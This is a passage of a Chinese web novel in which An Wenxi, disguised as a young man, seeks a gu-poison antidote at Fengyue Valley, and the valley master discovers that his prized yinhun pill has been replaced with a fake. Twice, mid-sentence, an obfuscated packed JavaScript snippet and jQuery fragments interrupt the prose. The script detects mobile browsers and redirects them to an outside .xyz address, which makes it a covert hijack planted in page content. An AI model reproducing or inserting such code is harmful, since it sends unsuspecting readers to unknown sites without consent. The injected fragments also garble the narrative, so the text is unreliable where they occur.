“娘亲,都快晚上了,画什么眉毛啊?”月无双弱弱道。 “双儿,你说谷中来了客人?” 月无双立即又兴奋起来,“就是我跟你提到的夕姐姐呀。” “那个大安的羲和公主?”月无痕似是想起了什么。 风飘雪撇了撇嘴道:“怎么,你又想起莫虞来了?” “你这么大醋劲,也不怕闺女笑话。” “我哪有吃醋,当年人家莫虞压根就不喜欢你,况且有我在,你若是敢喜欢别的女人,看我不打断你的腿!”风飘雪说中眼中精光一闪,暗含威胁。 “爹爹,夕姐姐现在用的是凤公子的身份,你别露馅了,一同来的还有个玉公子。”那活脱脱的一只妖孽,帅的一塌糊涂,月无双默默的在心底补上了这一句。 “带我去看看。”月无痕说着率先迈出了步子。 “等等我,我也去。”风飘雪重新画了眉头,立即跟了上去。 月无痕四十上下的年纪,但保养得宜,英气勃发,眉宇之间尽显翩翩俊美之色。随之而来的风飘雪,更是美的张扬,周身凸显绝艳来。 “凤轻歌见过月谷主。” 楚君昱淡淡的扫了眼二人,随即抱拳道:“晚辈前来叨扰谷主,还望谷主莫要见怪。” 月无痕将视线放在了安文夕身上,一袭红衣翩飞,倒是和莫虞的喜好一样,白净如玉的脸上挂着浅淡的笑意。 不过是张假面皮罢了,看不出她的眉眼如何,月无痕一一掠过安文夕身侧的欢凉和袭匀,接着将视线放到楚君昱身上,润泽如玉,倒是人如其名,他那双狭长的凤眼涌出一丝熟悉来,月无痕一时想不起来,只得作罢。 “你们来我枫月谷所为何事?” “晚辈二人皆是来求一味药。” 若不是稀世难寻的药也不会找上枫月谷,月无痕对二人道:“既然你们能找到枫月谷,想来你们与老夫也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309121|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是有缘之人,你们先在枫月谷住下,至于求药一事,老夫自当尽力。” “多谢月谷主。” “我带你们去厢房吧。”月无双自告奋勇道。 经过月无双的分配,安文夕和欢凉、袭匀住在她院子的左边,而楚君昱住在她的右边。其实,她这么安排,一时为了找安文夕方便,二是方便她看美男。 袭匀到了厢房,便嚷嚷着要洗澡安文夕无奈,只得麻烦了月无双特地派了两个小僮烧了热水。 用过晚膳,安文夕便早早的躺了下来,按说连日赶路,疲惫不堪,到了今天终于可以睡个安稳觉,但是安文夕却丝毫没有困意,躺在床上翻来覆去,脑子里一直在想着这一年发生的事情,从安国被灭,到她被北宫喆纳入后宫…… 猛然间,她的脑海中闪现出无涯和秋水的脸来。很明显那日在九华殿刺杀北宫喆是一个骗局,目的就是让她和北宫喆反目,还有后来王叔去世,李管家,那个羽卫的图案,矛头都指向了北宫喆,这无疑令他们二人关系更加破裂。这一幕幕,慢慢浮现在她的脑海中,她渐渐清明起来。这一切,仿佛都在指向一个看不见的阴谋来。 安文夕蓦地睁开了眼睛,吹灭了摇曳的红烛,她相信,那个人总有露出狐狸尾巴的一天。 楚君昱看见安文夕房内熄了灯,立了半晌,然后转身回了房间。 跟在他身后的夜影有些不懂,殿下说有事来找凤公子,可是却在他的门外立了半天,最终也没有敲门。 殿下说来枫月谷求药,所求的药必是引魂丹,可是枫月谷仅有一颗引魂丹,如今正在江向晚的体内,他实在不明白殿下来这一趟,到底有何目的? 难道真的是为了凤公子,一个男人? 他若是没有记错的话,过了年,殿下就要迎娶西楚世族嫡女月小姐了! 第二日一早,月无双便早早的洗漱完毕来找安文夕,央求安文夕帮她梳妆打扮,其实她的审美观不正常,自己不会梳妆的原因要归结到她娘亲风飘雪身上。 由于风飘雪妒性较强,整个枫月谷上下,除了她们母女二人是女的,剩下的就是青一色的童子了,风飘雪真是恨不得枫月谷内的蚂蚁都全部是公的! 月无双常人由小僮服侍,头发自然也是小僮帮她梳的,后来,待她长大了,就一直是自己随心所欲的摆弄。 月无双看着铜镜里的自己,甚是满意,脑海中楚君昱那张俊逸的脸庞一闪而过,她颇为细心的将额前的碎发拢至耳后。 用完早膳,安文夕和月无双一起来到了主院,此时月无痕和风飘雪刚刚用完早膳,看到安文夕,早就明了了她的来意,对她招手道:“随老夫去药房。” 月无痕先是为安文夕把了把脉,然后一脸凝色道:“你体内的雌蛊虫已经埋进体内半年之久,时间不算太长,若是想解去相思蛊的话也并不难,但是——”月无痕瞥了眼立在一旁的月无双,蓦地停住了。 “但是什么呀?”月无双迫不及待问道。 第92章 假的引魂丹 第九十二章假的引魂丹 “无双,你去沏壶茶来。”风飘雪随意说道。 “有什么不能说的,还非得支开我。”月无双咕哝道。 “月谷主,现在可以说了吧,需要我怎么做?” “老夫给你配副解药,届时你和北宫喆同时饮下,但是最主要的还是需要男女双方……” “我明白。”安文夕看着月无痕欲言又止的样子心中明了。 可是若是解蛊需要这样的话,她倒宁愿不解,永远不要再和北宫喆有所牵连。 安文夕咬了咬下唇,慢慢覆上心口,那里顿顿的疼,若是不解,她害怕会渐渐迷失了自己,舍不得杀他,忘记报仇。可若是想解相思蛊,势必会再与他羁绊…… 风飘雪颇为感怀的看了眼安文夕道:“这相思蛊长期种在体内,并不是什么好事,若是能解还是早些解了吧。” “老夫给你配了解药,至于解不解,决定权还在于你。”月无痕说道,“这解药不是一时半会就能配出来的,这段时间你就安心住在谷里,正好双儿也比较喜欢你。” “多谢月谷主了。” “爹爹,我砌好茶了。”月无双端着茶壶进来。 “夕姐姐,你尝尝我们谷中的梅花茶如何?” 安文夕接过月无双递来的茶,浅浅啜了一口,微微有些酸涩,但是酸涩过后便是醇香,淡淡的梅香萦绕在唇齿之间,令人回味无穷。 安文夕赞道:“好茶。” 月无双听到安文夕夸赞,立即眉飞色舞起来,“这主要是我茶艺好。” “谷主,玉公子求见。”青衣小僮撩起门帘禀告道。 “让他进来。” 看着掀开门帘的那只骨节分明的大手,月无双立即凝住了视线。 楚君昱进了门,闻道幽香淡淡的茶香,不禁称赞道:“这梅花茶好香。” 月无双心中兴奋起来,对他道:“玉公子要不要尝尝无双刚泡的茶?” “多谢无双小姐。” “不知玉公子这次来枫月谷求什么药?” “在下想求引魂丹。” “砰——”楚君昱话音未落,月无双手中捧着的茶盏蓦地摔倒了地上,上好的白瓷杯盏顿时碎成了一片,滚烫的茶水洒了一地。 “我……手滑了。”月无双无力地笑了笑,这下完了,老爷子铁定知道谷里的这颗引魂丹是假的了。 月无痕根本没有在意月无双这个小细节,冷声对楚君昱道:“玉公子可知引魂丹乃我枫月谷至宝,从不外借?” “在下知道,但是事急从权,在下想来试一试,月谷主,救人一命胜造七级浮屠。” 月无痕一拂袖子,冷冷哼道:“救人一命胜造七级浮屠?”这句话或许二十年前对他来说还有用。 “月谷主……” “这件事,你不必多说,老夫绝不同意,你若是执意如此,老夫只有将你赶出枫月谷了!” “玉公子,这件事我爹爹肯定不会同意的,不如你求点别的药吧。”月无双劝道,希望爹爹不会去察看引魂丹。 楚君昱放下茶盏,嘴角微勾,“月谷主不必生气,在下就换几种药便是。” 安文夕不动声色的看了眼楚君昱,小口的抿着茶,只怕枫月谷丢了引魂丹一事再也瞒不住了!这与她而言,不是一件坏事! 月无双回到了自己的院子,立即急不可待的给月清绝发了封急信,催他回谷,左右思量一番,觉得还是不妥,刚想去琦月阁看看老爷子是否发现了那颗引魂丹是假的,便听到了月无痕的咆哮。 “月无双,你给我过来!”琦月阁方向突然传来月无痕气急败坏的咆哮。 完了完了!老爷子发现了,她要死定了! 月无双扫了眼四周,还没有来得及发现藏身之处,眼前白光一闪,她便被月无痕整个提了起来。 “月无双,我问你,引魂丹呢!”月无痕一脸铁青,恨铁不成钢的看着月无双,他怎么会有这样吃里扒外的闺女,竟然敢拿一颗假的引魂丹来蒙骗他! “爹……爹,那……那引魂丹不是好好的在琦月阁么?” “还给我装蒜?”月无痕右手一扬,手里的粉末就要往月无双撒去,月无双立即吓得闭上了眼睛,这老爷子向来不手软,这痒痒粉可不是闹着玩的,一旦沾身,非得退层皮不可! “爹爹,你等一等,这件事是我哥做的,与我无关,我也是后来才知道的……”说到最后,声音已是细不可闻。 “知情不报,罪加一等!”月无痕一把松开了她。 “赶紧给他飞鸽传书,让他立即回谷!” “是是。” “对了,他拿引魂丹去干什么去了?” “好像是去复活江向晚了。”月无双小声道。 月无痕闻言拧了眉,“那江向晚己经没有了心,与**无异,就是他逆天而行,强行复活了她,她也不过是行尸走肉罢了!”最关键是,还白白的浪费了引魂丹的精华! “这件事是北宫喆那小子做的吧,你告诉他,让他立即将引魂丹送回来,否则,老夫不介意亲自出谷寻回引魂丹!” “可是爹爹,那引魂丹不是一旦注入体内便取不出么?” “取出还是能取出的,只不过有些麻烦罢了,而且如果强行取出,会对那个人的身体造成极大的伤害。”顿了一下,月无痕又接着道,“你以为,老夫会在乎那江向晚的死活?” 偷了他的引魂丹,本就是罪不可恕! 月无痕望着远处,微微扬眉,医者仁心么,这医者的本分他早在二十年前便失去了。现在,他只想和妻儿共享天伦之乐,不想被人打扰罢了。 安文夕嘴角微勾,他不惜与月无痕翻脸,也要将她救火,这份情谊,的确深重,那她就要看看他要如何向月谷主交代了!她的眼底盛满了讥意。 既然楚君昱也想要引魂丹,她不介意帮他争一争,也算是报答了他多次出手相救的恩情。 月无双看见了她来,立即朝她招手道:“夕姐姐,不如让喆哥哥来一趟吧,也好顺便解了你的相思蛊。” 月无痕淡淡点了点头,“如此再好不过。”看着眼前的安文夕,他不禁眼前一亮,若是北宫喆不肯交出引魂丹的话,他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309122|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 介意小人一次! 安文夕瞥见了月无痕眼底的精光,立即道:“月谷主,您能不能先不要告诉他我在枫月谷。” 她是凤轻歌这层这份绝对不能让他知道,更何况,现在这里还有个楚君昱! “罢了,你先给绝儿传书,让他带着引魂丹回谷。”月无痕对月无双吩咐道。 “多谢月谷主。” 月无痕踱步出了月无双的院子,他今天答应了她,就当是还了当年莫虞的一份恩情吧。 谷内厚厚的积雪尚未消融,整个枫月谷一片银装素裹,楚君昱立在窗前,嘴角微勾,这引魂丹丢了,好戏马上就要来了。 “殿下,您是故意向月谷主求引魂丹的吧,月谷主发现那引魂丹是假的,势必会让北宫喆将引魂丹送回来,届时我们只需要将这引魂丹抢回便可以了。”夜影不禁在心中称赞,殿下这一招实在是高。 楚君昱凤眸微敛,嘴角扯出了一抹淡淡的笑意,转身出了房门,朝安文夕的院落走去。 半道上,楚君昱碰到一位青衣小僮端了碗漆黑的药汤,随口问道:“这是送到无双小姐房间的?” “不是,这是凤公子要的汤药。” 凤公子要的……汤药里面微微散发着益母草和艾草的味道,这分明是缓解女子痛经的药汁,楚君昱打量着那碗药汤,眸光渐深,抿了抿薄唇,复又折回了房间。 跟在后面的夜影有些摸不着头脑,殿下不是去找凤公子么,怎么又回去了? 一晃之间,安文夕来到枫月谷已有十余日了,每日无双都陪她在谷内四下转转,不出几日,她已经将谷内熟悉了一遍。 谷内花草繁多,只是冬日里便只剩下了枯枝残叶,唯有凌寒独放的红梅,簇簇红意压满了枝头,分外的灼人眼球。 可是令她有些奇怪的是枫月谷的西山那里,明明是红梅遍野,景色怡人,为何每每还没有到西山,无双便停住了脚步,想必是这是枫月谷的秘密之地,安文夕向来不喜欢窥探别人隐私,故而也没有向月无双提过这件事。 可是她不去窥探,却管不了身边的人耐不住性子去好奇,尤其是那个向来不安分的主。 她正和月无双逗丨弄小青蛇,夜影急匆匆赶来,一脸凝色道:“凤公子,不好了,与你同来的匀公子去了西山梅苑,我家公子一直待在梅苑入口守着,却迟迟不见匀公子出来。” “什么?”月无双一下子惊得从凳子上弹了起来。 欢凉挽了黛眉,“怪不得这会没有看见他。” “大事不好了。”月无双神色微凝,“爹爹从来不让我和哥哥接近西山的,那里面有八卦阵,十分凶险,我小时候偷偷进去过,结果差点被八卦阵吸入阵法里面,而且爹爹还曾说那里面有怪兽!” “我进去找他!”欢凉沉声道。 “不可莽撞。”安文夕一把拉住欢凉,然后看向月无双道,“无双,不如去请月谷主来。” “不行,引魂丹丢了,爹爹如今正在气头上,若是被他知道有人进了西山,后果不堪设想。”老爷子向来脾气顽固,万一他不爽起来,要拿袭匀试毒就糟了。